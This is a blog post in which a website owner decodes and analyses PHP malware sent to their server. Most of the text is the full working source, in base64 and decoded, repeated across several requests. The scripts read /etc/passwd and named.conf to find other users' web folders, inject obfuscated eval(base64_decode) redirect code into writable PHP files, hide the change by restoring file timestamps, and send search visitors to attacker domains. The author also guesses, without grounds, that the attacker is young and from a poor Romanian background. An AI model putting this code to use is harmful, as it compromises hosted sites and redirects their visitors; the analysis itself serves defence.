c2V0X3RpbWVfbGltaXQoMCk7DQppZ25vcmVfdXNlcl9hYm9ydCgxKTsNCmVjaG8gInp6enp6enoiOw0KJGNvZGU9Jw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsNCmlmICghJHFhenBsbSl7DQokcmVmZXJlcj0kX1NFUlZFUltcJ0hUVFBfUkVGRVJFUlwnXTsNCiR1YWc9JF9TRVJWRVJbXCdIVFRQX1VTRVJfQUdFTlRcJ107DQppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpew0KaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2dvb2Rtb3JuaW5nLjI1dS5jb20vIik7CmV4aXQoKTsNCn0KfQ0KfQ0KfQ0KfSc7DQoNCmZ1bmN0aW9uIG1ha2VjaGFuZ2UgKCRwYXRoLCRjb2RlKXsNCglpZiAoaXNfd3JpdGFibGUoJHBhdGgpKSB7DQoJCWlmIChpc19maWxlKCRwYXRoKSkgew0KCQkJaWYgKHN0cmlzdHIoJHBhdGgsIi5waHAiKSl7DQoJCQkJJGZvPWZpbGVfZ2V0X2NvbnRlbnRzICgkcGF0aCk7DQoJCQkJaWYgKCFzdHJpc3RyKCRmbywiYmFzZTY0IikpIHsNCgkJCQkJJGFhPWZpbGVjdGltZSAoJHBhdGgpOw0KCQkJCQkkZmk9cHJlZ19yZXBsYWNlKCIvPFw/cGhwLyIsIjw/cGhwCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAkJCWV2YWwoYmFzZTY0X2RlY29kZShcIiIuYmFzZTY0X2VuY29kZSgkY29kZSkuIlwiKSk7IiwkZm8pOw0KCQkJCQkkZnJvPWZvcGVuKCRwYXRoLCJ3Iik7DQoJCQkJCWZ3cml0ZSAoJGZybywkZmkpOw0KCQkJCQlmY2xvc2UgKCRmcm8pOw0KCQkJCQlAdG91Y2ggKCRwYXRoLCRhYSk7DQoJCQkJCWVjaG8gJHBhdGguIlxuIjsNCgkJCQl9ZWxzZSB7DQoJCQkJCSRhYT1maWxlY3RpbWUgKCRwYXRoKTsNCgkJCQkJJGZpPXByZWdfcmVwbGFjZSgiL2V2YWxcKGJhc2U2NF9kZWNvZGVcKFwiKC4qPylcIi8iLCJldmFsKGJhc2U2NF9kZWNvZGUoXCIiLmJhc2U2NF9lbmNvZGUoJGNvZGUpLiJcIiIsJGZvKTsNCgkJCQkJJGZybz1mb3BlbigkcGF0aCwidyIpOw0KCQkJCQlmd3JpdGUgKCRmcm8sJGZpKTsNCgkJCQkJZmNsb3NlICgkZnJvKTsNCgkJCQkJQHRvdWNoICgkcGF0aCwkYWEpOw0KCQkJCQllY2hvICRwYXRoLiJcbiI7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQokYT0id3AtY29uZmlnLnBocA0KYmxvZy93cC1jb25maWcucGhwDQp3cC93cC1jb25maWcucGhwDQpzZXR0aW5ncy5waHANCndwLXNldHRpbmdzLnBocA0KY29uZmlnLnBocA0KY29uZi5waHANCmRiLnBocA0KZ2xvYmFsLnBocA0KZ2xvYmFscy5waHANCm15c3FsLnBocA0KY29uZmlndXJhdGlvbi5waHANCmluZGV4LnBocA0KaW5jbHVkZXMvZGVmaW5lcy5waHANCmluY2x1ZGVzL2NvbmZpZ3VyZS5waHANCnR5cG8zY29uZi9sb2NhbGNvbmYucGhwIjsNCiRiPXNwbGl0KCJcbiIsJGEpOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQokcHViZGlyPSIvcHVibGljX2h0bWwvIjsNCiRldGM9QGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL3Bhc3N3ZCIpOw0KaWYgKCRldGMpIHsNCiRldGM9c3BsaXQoIlxuIiwkZXRjKTsNCmZvcmVhY2ggKCRldGMgYXMgJGV0KSB7DQoJJGV0PXNwbGl0ICgiOiIsJGV0KTsNCglmb3JlYWNoICgkYiBhcyAkYmIpIHsNCgkJJHBhdGg9JGV0WzVdLiRwdWJkaXIudHJpbSgkYmIpOw0KCQlpZiAoaXNfd3JpdGFibGUoJHBhdGgpKSB7DQoJCQlpZiAoc3RyaXN0cigkcGF0aCwicGhwIikpew0KCQkJCW1ha2VjaGFuZ2UgKCRwYXRoLCRjb2RlKTsNCg0KCQkJfQ0KCQl9DQoJCS8vZWNobyAkcGF0aC4iXG4iOw0KDQoJfQ0KfQ0KfQ0K

This all decodes to:

One:

[code=php]set_time_limit(0);
ignore_user_abort(1);
echo “zzzzzzz”;

function find_files($path, $pattern, $callback) {
$path = rtrim(str_replace(“\\”, “/”, $path), ‘/’) . ‘/*’;

foreach (glob ($path) as $fullname) {
if (is_dir($fullname) and !stristr(‘/proc/’,$fullname)) {
find_files($fullname, $pattern, $callback);
} else if (preg_match($pattern, $fullname)) {
call_user_func($callback, $fullname);
}
}
}

function makechange ($path){
$code=’
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER[\’HTTP_REFERER\’];
$uag=$_SERVER[\’HTTP_USER_AGENT\’];
if ($uag) {
if (!stristr($uag,”MSIE 7.0″) and !stristr($uag,”MSIE 6.0″)){
if (stristr($referer,”yahoo”) or stristr($referer,”bing”) or stristr($referer,”rambler”) or stristr($referer,”gogo”) or stristr($referer,”live.com”)or stristr($referer,”aport”) or stristr($referer,”nigma”) or stristr($referer,”webalta”) or stristr($referer,”begun.ru”) or stristr($referer,”stumbleupon.com”) or stristr($referer,”bit.ly”) or stristr($referer,”tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url\?sa/”,$referer) or stristr($referer,”myspace.com”) or stristr($referer,”facebook.com”) or stristr($referer,”aol.com”)) {
if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){
header(“Location: http://goodmorning.25u.com/”);
exit();
}
}
}
}
}’;
if (is_writable($path)) {
if (is_file($path)) {
if (stristr($path,”.php”) and !stristr($path,”post”) and !stristr($path,”img”) and !stristr($path,”tmp”)){
$fo=file_get_contents ($path);
if (!stristr($fo,”base64″)) {
$aa=filectime ($path);
$fi=preg_replace(“/<\?php/”,”<?php eval(base64_decode(\””.base64_encode($code).”\”));”,$fo);
$fro=fopen($path,”w”);
fwrite ($fro,$fi);
fclose ($fro);
@touch ($path,$aa);
echo($path.”\n”);
}else {
$aa=filectime ($path);
$fi=preg_replace(“/eval\(base64_decode\(\”(.*?)\”/”,”eval(base64_decode(\””.base64_encode($code).”\””,$fo);
$fro=fopen($path,”w”);
fwrite ($fro,$fi);
fclose ($fro);
@touch ($path,$aa);
echo($path.”\n”);
}
}
}
}
}
//if (chdir (“/tmp”)){
//find_files(“..”.”/tmp”, ‘/php$/’, ‘makechange’);
//}else {
chdir ($_SERVER[DOCUMENT_ROOT]);
//chdir (“..”);
$putt=getcwd();
find_files($putt, ‘/php$/’, ‘makechange’);
chdir ($_SERVER[DOCUMENT_ROOT]);
chdir (“..”);
$putt=getcwd();
find_files($putt, ‘/php$/’, ‘makechange’);
//}
exit;[/code]

Two:

[code=php]set_time_limit(0);
ignore_user_abort(1);
echo “zzzzzzz”;
$code=’
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER[\’HTTP_REFERER\’];
$uag=$_SERVER[\’HTTP_USER_AGENT\’];
if ($uag) {
if (!stristr($uag,”MSIE 7.0″) and !stristr($uag,”MSIE 6.0″)){
if (stristr($referer,”yahoo”) or stristr($referer,”bing”) or stristr($referer,”rambler”) or stristr($referer,”gogo”) or stristr($referer,”live.com”)or stristr($referer,”aport”) or stristr($referer,”nigma”) or stristr($referer,”webalta”) or stristr($referer,”begun.ru”) or stristr($referer,”stumbleupon.com”) or stristr($referer,”bit.ly”) or stristr($referer,”tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url\?sa/”,$referer) or stristr($referer,”myspace.com”) or stristr($referer,”facebook.com”) or stristr($referer,”aol.com”)) {
if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){
header(“Location: http://goodmorning.25u.com/”);
exit();
}
}
}
}
}’;

function makechange ($path,$code){
if (is_writable($path)) {
if (is_file($path)) {
if (stristr($path,”.php”)){
$fo=file_get_contents ($path);
if (!stristr($fo,”base64″)) {
$aa=filectime ($path);
$fi=preg_replace(“/<\?php/”,”<?php eval(base64_decode(\””.base64_encode($code).”\”));”,$fo);
$fro=fopen($path,”w”);
fwrite ($fro,$fi);
fclose ($fro);
@touch ($path,$aa);
echo $path.”\n”;
}else {
$aa=filectime ($path);
$fi=preg_replace(“/eval\(base64_decode\(\”(.*?)\”/”,”eval(base64_decode(\””.base64_encode($code).”\””,$fo);
$fro=fopen($path,”w”);
fwrite ($fro,$fi);
fclose ($fro);
@touch ($path,$aa);
echo $path.”\n”;
}
}
}
}
}
if ($named=@file_get_contents(“/etc/named.conf”)) {
}elseif($named=@file_get_contents(“/var/named/etc/named.conf”)) {
}elseif($named=@file_get_contents(“/etc/bind/named.conf”)) {
}elseif($named=@file_get_contents(“/etc/namedb/named.conf”)) {
}elseif($named=@file_get_contents(“/var/named/etc/namedb/named.conf”)) {
}else {
exec (“locate named.conf”,$out);
//echo $out;
//print_r ($out);
if ($out[0]) {
preg_match_all (“/(.*?) /”,$out[0],$match);
//print_r ($match);
foreach ($match[1] as $mo) {
if (stristr($mo,”conf”)) {
$named=file_get_contents ($mo);
}
}

}
}
if ($named) {
preg_match_all (“/zone \”(.*?)\”/”,$named,$namat);
//print_r ($namat);
if ($namat[1]) {
$passwd=file_get_contents(“/etc/passwd”);
if ($passwd) {
preg_match_all (“/(\:\:|\&\:)(.*?)\:/”,$passwd,$matko);
//print_r ($matko);
if ($matko[2]) {
foreach ($matko[2] as $mu) {
if (stristr($mu,”home”)) {
$userdirs[]=$mu;
}
}
if ($userdirs) {
foreach ($userdirs as $userdir) {
foreach ($namat[1] as $domain) {
$docdir=$userdir.”/domains/”.$domain.”/public_html”;
if (is_dir($docdir)) {
$docdirs[]=$docdir;
//break;

}
}
}
}
}
}
}
} else {
echo “no name”;
}

//print_r ($docdirs);
if ($docdirs) {
foreach ($docdirs as $docdir) {
if ($dh = opendir($docdir)) {
while (($file = readdir($dh)) !== false) {
if ($file != “.” && $file != “..”) {
$path=$docdir.”/”.$file;
if (is_dir($file)&&is_writable($file)) {
if ($dhh = opendir($path)) {
while (($filez = readdir($dhh)) !== false) {
if ($filez != “.” && $filez != “..”) {
$path2=$path.”/”.$filez;
makechange ($path2,$code);
}
}
closedir($dhh);
}
}
makechange ($path,$code);
}
}
closedir($dh);
}
}
}
exit;
[/code]

Three:

[code=php]set_time_limit(0);
ignore_user_abort(1);
echo “zzzzzzz”;
$code=’
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER[\’HTTP_REFERER\’];
$uag=$_SERVER[\’HTTP_USER_AGENT\’];
if ($uag) {
if (!stristr($uag,”MSIE 7.0″) and !stristr($uag,”MSIE 6.0″)){
if (stristr($referer,”yahoo”) or stristr($referer,”bing”) or stristr($referer,”rambler”) or stristr($referer,”gogo”) or stristr($referer,”live.com”)or stristr($referer,”aport”) or stristr($referer,”nigma”) or stristr($referer,”webalta”) or stristr($referer,”begun.ru”) or stristr($referer,”stumbleupon.com”) or stristr($referer,”bit.ly”) or stristr($referer,”tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url\?sa/”,$referer) or stristr($referer,”myspace.com”) or stristr($referer,”facebook.com”) or stristr($referer,”aol.com”)) {
if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){
header(“Location: http://goodmorning.25u.com/”);
exit();
}
}
}
}
}’;

function makechange ($path,$code){
if (is_writable($path)) {
if (is_file($path)) {
if (stristr($path,”.php”)){
$fo=file_get_contents ($path);
if (!stristr($fo,”base64″)) {
$aa=filectime ($path);
$fi=preg_replace(“/<\?php/”,”<?php eval(base64_decode(\””.base64_encode($code).”\”));”,$fo);
$fro=fopen($path,”w”);
fwrite ($fro,$fi);
fclose ($fro);
@touch ($path,$aa);
echo $path.”\n”;
}else {
$aa=filectime ($path);
$fi=preg_replace(“/eval\(base64_decode\(\”(.*?)\”/”,”eval(base64_decode(\””.base64_encode($code).”\””,$fo);
$fro=fopen($path,”w”);
fwrite ($fro,$fi);
fclose ($fro);
@touch ($path,$aa);
echo $path.”\n”;
}
}
}
}
}

$a=”wp-config.php
blog/wp-config.php
wp/wp-config.php
settings.php
wp-settings.php
config.php
conf.php
db.php
global.php
globals.php
mysql.php
configuration.php
index.php
includes/defines.php
includes/configure.php
typo3conf/localconf.php”;
$b=split(“\n”,$a);
set_time_limit(0);
$pubdir=”/public_html/”;
$etc=@file_get_contents(“/etc/passwd”);
if ($etc) {
$etc=split(“\n”,$etc);
foreach ($etc as $et) {
$et=split (“:”,$et);
foreach ($b as $bb) {
$path=$et[5].$pubdir.trim($bb);
if (is_writable($path)) {
if (stristr($path,”php”)){
makechange ($path,$code);

}
}
//echo $path.”\n”;

}
}
}
[/code]

So, what it all means:

In request One, he first prints the string zzzzzzz to the website. This is significant, as it signals to the hacker whether the attack was executed (more on this later). Then, he creates two functions, called find_files which finds all files based on a particular pattern and calls a function on them, and makechange, that works on/infects individual files.

makechange also preseres the file’s creation time, so that in theory, you don’t notice the file’s been messed with.

So, the way One is called is this:

chdir ($_SERVER[DOCUMENT_ROOT]);
$putt=getcwd();
find_files($putt, ‘/php$/’, ‘makechange’);
chdir ($_SERVER[DOCUMENT_ROOT]);
chdir (“..”);
$putt=getcwd();
find_files($putt, ‘/php$/’, ‘makechange’);

That is, he goes to my root directory, finds all files ending with php, and recursively tries to makechange on them to infect them. Infecting them means the eval/base64_decode injection, which to his credit, not only injects the eval(base64_decode gobbledygook ($code variable) wherever it sees <?php. In addition, it UPDATES (wow) existing eval(base64_decode instances wherever it exists.

It then tries to go above my root directory to see if it can infect more, just for fun.  The code is pretty straight forward.

I am actualy surprised I saw request TWO and THREE, since after request ONE, the hacker ought to know that the first request failed since I never displayed zzzzzzz to him. So this leads me to believe that the dude is actually lazy. Hell, he simply commented out teh part of his code where he assumes the DocumentRoot is at /tmp. I assume that’s where he setup his own test environment. Tsk tsk tsk. Nevertheless, he knows he’s been discovered now and I await his subsequent attacks.

Anyways, the fact is I saw requests TWO, and THREE. In theory, request ONE would’ve done the trick. So, what did TWO and THREE do?

Request TWO’s makechange is defined slightly differently, taking on 2 input parameters. Given a path, if it’s a writable php file, it will inject the base64_decode eval gobbledygook when it finds a php file not infected (well, doesn’t contain any eval base64_decode), and otherwise update the malicious code if it’s already infected. Like before, it preserves the file’s created time to hide the fact that the file’s been affected.

But request TWO is inherently different. It first tries its hardest in a sophisticated if else block to find a file called named.conf (why it assumes it’s not a windows system I will never know) and based on that, try to find your $domain. Then, it will try to find all users from the /etc/passwd file, and for each user, try to find their /public_html directory, and, for each directory it found, and each subdirectory it found, try to infect them all. ALL. Yes, request TWO is far more insidious than request ONE, as request ONE simply tries to infect just one person.

Yet interestingly however, reqeust TWO seems to make assumptions that the users’ DocumentRoots are all at the userdir/domain/<domain>/public_html. Which hosting company uses this? I don’t know. Certainly not mine. If you know of one, do let me know. Nevertheless, seems like the hacker is going after specifically one hosting comapny.

So now that supposedly after ONE and TWO, all users by the hosting company are infected. Why need request THREE? Let’s see what it does.

Against, first outputs zzzzzz as response to the hacker. Then, again makechange is defined. I believe it’s the same that was used by request TWO. Then, it tries to go after very specific php files. So for each user defined in /etc/passwd, find their home directory, assume the path to the DocumentRoot is public_html, and infect as before with the makechange function. Simple. Kinda pointless and redudant, given ONE and TWO. Well, then again, the path it assumes is different. This leads me to believe that each request was written as a new “module” where, upon successful research on a particular hosting company, it would write a new set of code specifically designed to infect users of that hosting company.

So, in summary:

1. Windows is NOT always less secure than linux. In this case, given the underlying assumption that files/directories are all linux based, if it were on a windows machine, the consequences of the attacks would’ve been minimized.
2. Given the bugs and coding style of the hacker, as I had guessed before, I believe he’s probably not very experienced/skilled. I imagine less than 25.
3. He used a different IP this time. Romania per a simple ip geo lookup. Then again, I don’t put too much weight on the accuracy of ip geolocators but apparently he’s from the poor part of Europe and hence, has to resort to doing this kind of work for a living.
4. Yeah, he’s doing it for a living. Upon infecting a site, he subsequently has to UPDATE his attack, sending the user to a new 3rd party proxy. Probably whoever pays him and he’ll send traffic their way. This is probably lucrative business.
5. He’s aware of my discovery of his attacks, due to the lack of the zzzzzzz which he echo’ed out. Will he then stop his attacks and give up or try to infect my sites again? I think/hope the latter. This is, after all, a good learning experience for me, as I, for the betterment of man kind, take the mask off the hacking underworld and stare hackers in their faces. Besides, now that I know their methodlogies, my sites are fortified and can’t be broken into as easily again. And if he is able to break in again, then please, by all means enlighten me.
6. For whatever reason, he separates it all into 3 requests. Probably to modularize it. But heck, if that was the case, he should probably have sent his initial request as a simple probe. And upon it succeeding, send the 1st, then 2nd and then 3rd. Now he gave me all his code for no reason. And why not add in the extra code? It’s a couple simple lines. Then again, in analyzing his work, he seems to be quite lazy. So, whatever.
7. The hacker is pretty neat in that he properly indented his code and used meaningful variable and function names. Thanks!

That’s all my musings at this time on this issue. Kinda pointless now that he’s pretty much defeated.

 

UPDATE:  
The hacker, once again, came back with this:

aWYgKGZ1bmN0aW9uX2V4aXN0cygnaWdub3JlX3VzZXJfYWJvcnQnKSBhbmQgZnVuY3Rpb25fZXhpc3RzKCdzZXRfd\
GltZV9saW1pdCcpIGFuZCBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKXsKZWNobyBtZDUoImthdmFidW5nYSIp\
OwpleGl0Owp9

which translates to:

if (function_exists(‘ignore_user_abort’) and function_exists(‘set_time_limit’) and function_exists(‘curl_init’)){
echo md5(“kavabunga”);
exit;
}

I suspect he is now aware that his last hacking attempt failed, and is trying to figure out why by checking if the functions he relies on exist. Then again, he’s overly confident, as if I were him, I’d that if block 3 times, each for each function.

Nevertheless, it’s clear that:

1. he’s not reading my writing about him.
2. he’s aware his last hacking attempt failed
3. he might just quit now that he knows that not all 3 of the required functions “exist”

 

Again, with a keen eye for details, one truth prevails.

 

edit:  Update:

 

The hacker returned. Why? Because he fails to realize that the sites are patched, as well as mechanisms are put in place to record his every move, among other things. As before, he sent 3 requests. Here’s his code:

set_time_limit(0);
ignore_user_abort(1);
echo “zzzzzzz”;

function find_files($path, $pattern, $callback) {
$path = rtrim(str_replace(“\\”, “/”, $path), ‘/’) . ‘/*’;

foreach (glob ($path) as $fullname) {
if (is_dir($fullname) and !stristr(‘/proc/’,$fullname)) {
find_files($fullname, $pattern, $callback);
} else if (preg_match($pattern, $fullname)) {
call_user_func($callback, $fullname);
}
}
}

function makechange ($path){
$code=’
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER[\’HTTP_REFERER\’];
$uag=$_SERVER[\’HTTP_USER_AGENT\’];
if ($uag) {
if (!stristr($uag,”MSIE 7.0″) and !stristr($uag,”MSIE 6.0″)){
if (stristr($referer,”yahoo”) or stristr($referer,”bing”) or stristr($referer,”rambler”) or stristr($referer,”gogo”) or stristr($referer,”live.com”)or stristr($referer,”aport”) or stristr($referer,”nigma”) or stristr($referer,”webalta”) or stristr($referer,”begun.ru”) or stristr($referer,”stumbleupon.com”) or stristr($referer,”bit.ly”) or stristr($referer,”tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url\?sa/”,$referer) or stristr($referer,”myspace.com”) or stristr($referer,”facebook.com”) or stristr($referer,”aol.com”)) {
if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){
header(“Location: http://chromium.my03.com/“);
exit();
}
}
}
}
}’;
if (is_writable($path)) {
if (is_file($path)) {
if (stristr($path,”.php”) and !stristr($path,”post”) and !stristr($path,”img”) and !stristr($path,”tmp”)){
$fo=file_get_contents ($path);
if (!stristr($fo,”base64″)) {
$aa=filectime ($path);
$fi=preg_replace(“/<\?php/”,”<?php eval(base64_decode(\””.base64_encode($code).”\”));”,$fo);
$fro=fopen($path,”w”);
fwrite ($fro,$fi);
fclose ($fro);
@touch ($path,$aa);
echo($path.”\n”);
}else {
$aa=filectime ($path);
$fi=preg_replace(“/eval\(base64_decode\(\”(.*?)\”/”,”eval(base64_decode(\””.base64_encode($code).”\””,$fo);
$fro=fopen($path,”w”);
fwrite ($fro,$fi);
fclose ($fro);
@touch ($path,$aa);
echo($path.”\n”);
}
}
}
}
}
//if (chdir (“/tmp”)){
//find_files(“..”.”/tmp”, ‘/php$/’, ‘makechange’);
//}else {
chdir ($_SERVER[DOCUMENT_ROOT]);
//chdir (“..”);
$putt=getcwd();
find_files($putt, ‘/php$/’, ‘makechange’);
chdir ($_SERVER[DOCUMENT_ROOT]);
chdir (“..”);
$putt=getcwd();
find_files($putt, ‘/php$/’, ‘makechange’);
//}
exit;

Request 2:
set_time_limit(0);
ignore_user_abort(1);
echo “zzzzzzz”;
$code=’
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER[\’HTTP_REFERER\’];
$uag=$_SERVER[\’HTTP_USER_AGENT\’];
if ($uag) {
if (!stristr($uag,”MSIE 7.0″) and !stristr($uag,”MSIE 6.0″)){
if (stristr($referer,”yahoo”) or stristr($referer,”bing”) or stristr($referer,”rambler”) or stristr($referer,”gogo”) or stristr($referer,”live.com”)or stristr($referer,”aport”) or stristr($referer,”nigma”) or stristr($referer,”webalta”) or stristr($referer,”begun.ru”) or stristr($referer,”stumbleupon.com”) or stristr($referer,”bit.ly”) or stristr($referer,”tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url\?sa/”,$referer) or stristr($referer,”myspace.com”) or stristr($referer,”facebook.com”) or stristr($referer,”aol.com”)) {
if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){
header(“Location: http://chromium.my03.com/“);
exit();
}
}
}
}
}’;

function makechange ($path,$code){
if (is_writable($path)) {
if (is_file($path)) {
if (stristr($path,”.php”)){
$fo=file_get_contents ($path);
if (!stristr($fo,”base64″)) {
$aa=filectime ($path);
$fi=preg_replace(“/<\?php/”,”<?php eval(base64_decode(\””.base64_encode($code).”\”));”,$fo);
$fro=fopen($path,”w”);
fwrite ($fro,$fi);
fclose ($fro);
@touch ($path,$aa);
echo $path.”\n”;
}else {
$aa=filectime ($path);
$fi=preg_replace(“/eval\(base64_decode\(\”(.*?)\”/”,”eval(base64_decode(\””.base64_encode($code).”\””,$fo);
$fro=fopen($path,”w”);
fwrite ($fro,$fi);
fclose ($fro);
@touch ($path,$aa);
echo $path.”\n”;
}
}
}
}
}
if ($named=@file_get_contents(“/etc/named.conf”)) {
}elseif($named=@file_get_contents(“/var/named/etc/named.conf”)) {
}elseif($named=@file_get_contents(“/etc/bind/named.conf”)) {
}elseif($named=@file_get_contents(“/etc/namedb/named.conf”)) {
}elseif($named=@file_get_contents(“/var/named/etc/namedb/named.conf”)) {
}else {
exec (“locate named.conf”,$out);
//echo $out;
//print_r ($out);
if ($out[0]) {
preg_match_all (“/(.*?) /”,$out[0],$match);
//print_r ($match);
foreach ($match[1] as $mo) {
if (stristr($mo,”conf”)) {
$named=file_get_contents ($mo);
}
}

}
}
if ($named) {
preg_match_all (“/zone \”(.*?)\”/”,$named,$namat);
//print_r ($namat);
if ($namat[1]) {
$passwd=file_get_contents(“/etc/passwd”);
if ($passwd) {
preg_match_all (“/(\:\:|\&\:)(.*?)\:/”,$passwd,$matko);
//print_r ($matko);
if ($matko[2]) {
foreach ($matko[2] as $mu) {
if (stristr($mu,”home”)) {
$userdirs[]=$mu;
}
}
if ($userdirs) {
foreach ($userdirs as $userdir) {
foreach ($namat[1] as $domain) {
$docdir=$userdir.”/domains/”.$domain.”/public_html”;
if (is_dir($docdir)) {
$docdirs[]=$docdir;
//break;

}
}
}
}
}
}
}
} else {
echo “no name”;
}

//print_r ($docdirs);
if ($docdirs) {
foreach ($docdirs as $docdir) {
if ($dh = opendir($docdir)) {
while (($file = readdir($dh)) !== false) {
if ($file != “.” && $file != “..”) {
$path=$docdir.”/”.$file;
if (is_dir($file)&&is_writable($file)) {
if ($dhh = opendir($path)) {
while (($filez = readdir($dhh)) !== false) {
if ($filez != “.” && $filez != “..”) {
$path2=$path.”/”.$filez;
makechange ($path2,$code);
}
}
closedir($dhh);
}
}
makechange ($path,$code);
}
}
closedir($dh);
}
}
}
exit;

Request 3:
set_time_limit(0);
ignore_user_abort(1);
echo “zzzzzzz”;
$code=’
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER[\’HTTP_REFERER\’];
$uag=$_SERVER[\’HTTP_USER_AGENT\’];
if ($uag) {
if (!stristr($uag,”MSIE 7.0″) and !stristr($uag,”MSIE 6.0″)){
if (stristr($referer,”yahoo”) or stristr($referer,”bing”) or stristr($referer,”rambler”) or stristr($referer,”gogo”) or stristr($referer,”live.com”)or stristr($referer,”aport”) or stristr($referer,”nigma”) or stristr($referer,”webalta”) or stristr($referer,”begun.ru”) or stristr($referer,”stumbleupon.com”) or stristr($referer,”bit.ly”) or stristr($referer,”tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url\?sa/”,$referer) or stristr($referer,”myspace.com”) or stristr($referer,”facebook.com”) or stristr($referer,”aol.com”)) {
if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){
header(“Location: http://chromium.my03.com/“);
exit();
}
}
}
}
}’;

function makechange ($path,$code){
if (is_writable($path)) {
if (is_file($path)) {
if (stristr($path,”.php”)){
$fo=file_get_contents ($path);
if (!stristr($fo,”base64″)) {
$aa=filectime ($path);
$fi=preg_replace(“/<\?php/”,”<?php eval(base64_decode(\””.base64_encode($code).”\”));”,$fo);
$fro=fopen($path,”w”);
fwrite ($fro,$fi);
fclose ($fro);
@touch ($path,$aa);
echo $path.”\n”;
}else {
$aa=filectime ($path);
$fi=preg_replace(“/eval\(base64_decode\(\”(.*?)\”/”,”eval(base64_decode(\””.base64_encode($code).”\””,$fo);
$fro=fopen($path,”w”);
fwrite ($fro,$fi);
fclose ($fro);
@touch ($path,$aa);
echo $path.”\n”;
}
}
}
}
}

$a=”wp-config.php
blog/wp-config.php
wp/wp-config.php
settings.php
wp-settings.php
config.php
conf.php
db.php
global.php
globals.php
mysql.php
configuration.php
index.php
includes/defines.php
includes/configure.php
typo3conf/localconf.php”;
$b=split(“\n”,$a);
set_time_limit(0);
$pubdir=”/public_html/”;
$etc=@file_get_contents(“/etc/passwd”);
if ($etc) {
$etc=split(“\n”,$etc);
foreach ($etc as $et) {
$et=split (“:”,$et);
foreach ($b as $bb) {
$path=$et[5].$pubdir.trim($bb);
if (is_writable($path)) {
if (stristr($path,”php”)){
makechange ($path,$code);

}
}
//echo $path.”\n”;

}
}
}